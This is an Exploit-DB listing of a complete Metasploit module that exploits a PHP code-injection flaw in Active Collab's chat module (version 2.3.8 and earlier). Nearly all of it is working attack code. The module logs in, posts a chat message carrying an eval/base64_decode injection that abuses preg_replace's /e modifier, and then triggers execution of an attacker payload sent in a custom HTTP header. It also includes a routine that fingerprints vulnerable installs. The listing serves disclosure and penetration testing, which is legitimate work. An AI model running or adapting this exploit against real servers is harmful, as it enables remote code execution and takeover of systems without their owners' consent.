Active Collab 'chat module' < 2.3.8 - Remote PHP Code Injection (Metasploit)

EDB-ID:

18898




Platform:

PHP

Date:

2012-05-19


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
			'Description'    => %q{
				This module exploits an arbitrary code injection vulnerability in the chat module 
				that is part of Active Collab by abusing a preg_replace() using the /e modifier and
				its replacement string using double quotes. The vulnerable function can be found in 
				activecollab/application/modules/chat/functions/html_to_text.php.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'mr_me <steventhomasseeley[at]gmail.com>',  # vuln discovery & msf module
				],
			'References'     =>
				[
					['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Keys'        => ['php'],
					'Space'       => 4000,
					'DisableNops' => true,
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        => [['Automatic',{}]],
			'DisclosureDate' => 'May 30 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
				OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
				OptString.new('PASS',[true, "The password to authenticate with"])
			],self.class)
	end

	def check

		login_path = "public/index.php?path_info=login&re_route=homepage"
		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"

		cms = send_request_raw({'uri' => uri}, 25)

		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

		chat = send_request_raw({'uri' => uri}, 25)

		# cant detect the version here
		if (cms and cms.body =~ /powered by activeCollab/)
			# detect the chat module
			if (chat and chat.code == 200)
				return Exploit::CheckCode::Vulnerable
			end
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		user = datastore['USER']
		pass = datastore['PASS']
		p = Rex::Text.encode_base64(payload.encoded)
		header = rand_text_alpha_upper(3)
		login_uri = datastore['URI']
		login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

		# login
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => login_uri,
			'vars_post' =>
				{
					'login[email]'      => user,
					'login[password]'   => pass,
					'submitted'         => "submitted",
				}
			}, 40)

		# response handling
		if res.code == 302
			if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
				acsession = $1
			end
		elsif res.body =~ /Failed to log you in/
			print_error("Could not login to the target application, check your credentials")
		elsif res.code != 200 or res.code != 302
			print_error("Server returned a failed status code: (#{res.code})")
		end

		# injection
		iuri = datastore['URI']
		iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
		iuri << "?path_info=chat/add_message&async=1" 
		phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
		injection = "<th>\");#{phpkode}</th>"
		cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => iuri,
			'headers' =>
				{
					'cookie'  => cookies
				},
			'vars_post' =>
				{
					'submitted'                  => "submitted",
					'message[message_text]'      => injection,
					'message[chat_id]'           => "1",
					'message[posted_to_user_id]' => "all"
				}
		}, 25)

		euri = datastore['URI']
		euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
		euri << "?path_info=/chat/history/1" 

		# execution
		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => euri,
			'headers' =>
				{
					header    => p,
					'cookie'  => cookies
				}
		})
	end
end